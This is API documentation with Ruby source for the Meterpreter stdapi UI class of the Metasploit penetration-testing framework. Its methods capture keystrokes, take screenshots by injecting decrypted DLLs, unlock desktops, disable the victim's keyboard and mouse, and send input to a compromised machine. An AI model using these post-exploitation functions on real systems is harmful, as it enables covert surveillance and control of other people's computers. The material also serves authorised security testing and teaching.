Class: Rex::Post::Meterpreter::Extensions::Stdapi::UI

Inherits:
UI
  • Object
show all
Includes:
ObjectAliasesContainer
Defined in:
lib/rex/post/meterpreter/extensions/stdapi/ui.rb

Overview

Allows for interacting with the user interface on the remote machine, such as by disabling the keyboard and mouse.

WARNING:

Using keyboard and mouse enabling/disabling features will result in a DLL file being written to disk.

Instance Attribute Summary collapse

Attributes included from ObjectAliasesContainer

#aliases

Instance Method Summary collapse

Methods included from ObjectAliasesContainer

#dump_alias_tree, #initialize_aliases, #method_missing

Constructor Details

#initialize(client) ⇒ UI

Initializes the post-exploitation user-interface manipulation subsystem.



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 35

def initialize(client)
  self.client = client
end

Dynamic Method Handling

This class handles dynamic methods through the method_missing method in the class Rex::Post::Meterpreter::ObjectAliasesContainer

Instance Attribute Details

#client ⇒ Object (protected)

:nodoc:



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 308

def client
  @client
end

Instance Method Details

#disable_keyboard ⇒ Object

Disable keyboard input on the remote machine.



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 48

def disable_keyboard
  return enable_keyboard(false)
end

#disable_mouse ⇒ Object

Disable mouse input on the remote machine.



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 68

def disable_mouse
  return enable_mouse(false)
end

#enable_keyboard(enable = true) ⇒ Object

Enable keyboard input on the remote machine.



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 55

def enable_keyboard(enable = true)
  request = Packet.create_request(COMMAND_ID_STDAPI_UI_ENABLE_KEYBOARD)

  request.add_tlv(TLV_TYPE_BOOL, enable)

  client.send_request(request)

  return true
end

#enable_mouse(enable = true) ⇒ Object

Enable mouse input on the remote machine.



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 75

def enable_mouse(enable = true)
  request = Packet.create_request(COMMAND_ID_STDAPI_UI_ENABLE_MOUSE)

  request.add_tlv(TLV_TYPE_BOOL, enable)

  client.send_request(request)

  return true
end

#enum_desktops ⇒ Object

Enumerate desktops.



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 100

def enum_desktops
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_DESKTOP_ENUM)
  response = client.send_request(request)
  desktopz = []
  if( response.result == 0 )
    response.each( TLV_TYPE_DESKTOP ) { | desktop |
    desktopz << {
        'session' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
        'station' => desktop.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
        'name'    => desktop.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
      }
    }
  end
  return desktopz
end

#get_desktop ⇒ Object

Get the current desktop meterpreter is using.



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 119

def get_desktop
  request  = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_GET )
  response = client.send_request( request )
  desktop  = {}
  if( response.result == 0 )
    desktop = {
        'session' => response.get_tlv_value( TLV_TYPE_DESKTOP_SESSION ),
        'station' => response.get_tlv_value( TLV_TYPE_DESKTOP_STATION ),
        'name'    => response.get_tlv_value( TLV_TYPE_DESKTOP_NAME )
      }
  end
  return desktop
end

#idle_time ⇒ Object

Returns the number of seconds the remote machine has been idle from user input.



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 89

def idle_time
  request = Packet.create_request(COMMAND_ID_STDAPI_UI_GET_IDLE_TIME)

  response = client.send_request(request)

  return response.get_tlv_value(TLV_TYPE_IDLE_TIME);
end

#keyboard_send(keys) ⇒ Object

Send keystrokes



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 256

def keyboard_send(keys)
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_KEYS)
  request.add_tlv( TLV_TYPE_KEYS_SEND, keys )
  client.send_request(request)
  return true
end

#keyevent_send(key_code, action = 0) ⇒ Object

Send key events



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 266

def keyevent_send(key_code, action = 0)
  key_data = [ action, key_code ].pack("VV")
  request = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_KEYEVENT)
  request.add_tlv( TLV_TYPE_KEYEVENT_SEND, key_data )
  client.send_request(request)
  return true
end

#keyscan_dump ⇒ Object

Dump the keystroke buffer



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 247

def keyscan_dump
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_GET_KEYS_UTF8)
  response = client.send_request(request)
  return response.get_tlv_value(TLV_TYPE_KEYS_DUMP);
end

#keyscan_start(trackwindow = false) ⇒ Object

Start the keyboard sniffer



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 228

def keyscan_start(trackwindow=false)
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_START_KEYSCAN)
  request.add_tlv( TLV_TYPE_KEYSCAN_TRACK_ACTIVE_WINDOW, trackwindow )
  client.send_request(request)
  return true
end

#keyscan_stop ⇒ Object

Stop the keyboard sniffer



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 238

def keyscan_stop
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_STOP_KEYSCAN)
  client.send_request(request)
  return true
end

#mouse(mouseaction, x = -1,, y = -1)) ⇒ Object

Mouse input



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 277

def mouse(mouseaction, x=-1, y=-1)
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_SEND_MOUSE)
  action = 0
  case mouseaction
  when "move"
    action = 0
  when "click", "tap", "leftclick"
    action = 1
  when "down", "leftdown"
    action = 2
  when "up", "leftup"
    action = 3
  when "rightclick"
    action = 4
  when "rightdown"
    action = 5
  when "rightup"
    action = 6
  when "doubleclick"
    action = 7
  else
    action = mouseaction.to_i
  end
  request.add_tlv( TLV_TYPE_MOUSE_ACTION, action )
  request.add_tlv( TLV_TYPE_MOUSE_X, x.to_i )
  request.add_tlv( TLV_TYPE_MOUSE_Y, y.to_i )
  client.send_request(request)
  return true
end

#screenshot(quality = 50) ⇒ Object

Grab a screenshot of the interactive desktop



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 154

def screenshot( quality=50 )
  request = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SCREENSHOT )
  request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_QUALITY, quality )

  if client.base_platform == 'windows'
    # Check if the target is running Windows 8/Windows Server 2012 or later and there are session 0 desktops visible.
    # Session 0 desktops should only be visible to services. Windows 8/Server 2012 and later introduce the restricted
    # desktop for services, which means that services cannot view the normal user's desktop or otherwise interact with
    # it in any way. Attempting to take a screenshot from a service on these systems can lead to non-desireable
    # behavior, such as explorer.exe crashing, which will force the compromised user to log back into their system
    # again. For these reasons, any attempt to perform screenshots under these circumstances will be met with an error message.
    opSys = client.sys.config.sysinfo['OS']
    build = opSys.match(/Build (\d+)/)
    if build.nil?
      raise RuntimeError, 'Could not determine Windows build number to determine if taking a screenshot is safe.', caller
    else
      build_number = build[1].to_i
      if build_number >= 9200 # Windows 8/Windows Server 2012 and later
        current_desktops = enum_desktops
        current_desktops.each do |desktop|
          if desktop["session"].to_s == '0'
            raise RuntimeError, 'Current session was spawned by a service on Windows 8+. No desktops are available to screenshot.', caller
          end
        end
      end
    end

    # include the x64 screenshot dll if the host OS is x64
    if( client.sys.config.sysinfo['Architecture'] =~ /^\S*x64\S*/ )
      screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x64.dll')
      if screenshot_path.nil?
        raise RuntimeError, "screenshot.x64.dll not found", caller
      end

      encrypted_screenshot_dll = ::File.binread(screenshot_path)
      screenshot_dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_screenshot_dll)

      request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE64DLL_BUFFER, screenshot_dll, false, true )
    end

    # but always include the x86 screenshot dll as we can use it for wow64 processes if we are on x64
    screenshot_path = MetasploitPayloads.meterpreter_path('screenshot','x86.dll')
    if screenshot_path.nil?
      raise RuntimeError, "screenshot.x86.dll not found", caller
    end

    encrypted_screenshot_dll = ::File.binread(screenshot_path)
    screenshot_dll = ::MetasploitPayloads::Crypto.decrypt(ciphertext: encrypted_screenshot_dll)

    request.add_tlv( TLV_TYPE_DESKTOP_SCREENSHOT_PE32DLL_BUFFER, screenshot_dll, false, true )
  end

  # send the request and return the jpeg image if successful.
  response = client.send_request( request )
  if( response.result == 0 )
    return response.get_tlv_value( TLV_TYPE_DESKTOP_SCREENSHOT )
  end

  return nil
end

#set_desktop(session = -1,, station = 'WinSta0', name = 'Default', switch = false) ⇒ Object

Change the meterpreters current desktop. The switch param sets this new desktop as the interactive one (The local users visible desktop with screen/keyboard/mouse control).



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 138

def set_desktop( session=-1, station='WinSta0', name='Default', switch=false )
  request  = Packet.create_request( COMMAND_ID_STDAPI_UI_DESKTOP_SET )
  request.add_tlv( TLV_TYPE_DESKTOP_SESSION, session )
  request.add_tlv( TLV_TYPE_DESKTOP_STATION, station )
  request.add_tlv( TLV_TYPE_DESKTOP_NAME, name )
  request.add_tlv( TLV_TYPE_DESKTOP_SWITCH, switch )
  response = client.send_request( request )
  if( response.result == 0 )
    return true
  end
  return false
end

#unlock_desktop(unlock = true) ⇒ Object

Unlock or lock the desktop



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# File 'lib/rex/post/meterpreter/extensions/stdapi/ui.rb', line 218

def unlock_desktop(unlock=true)
  request  = Packet.create_request(COMMAND_ID_STDAPI_UI_UNLOCK_DESKTOP)
  request.add_tlv(TLV_TYPE_BOOL, unlock)
  client.send_request(request)
  return true
end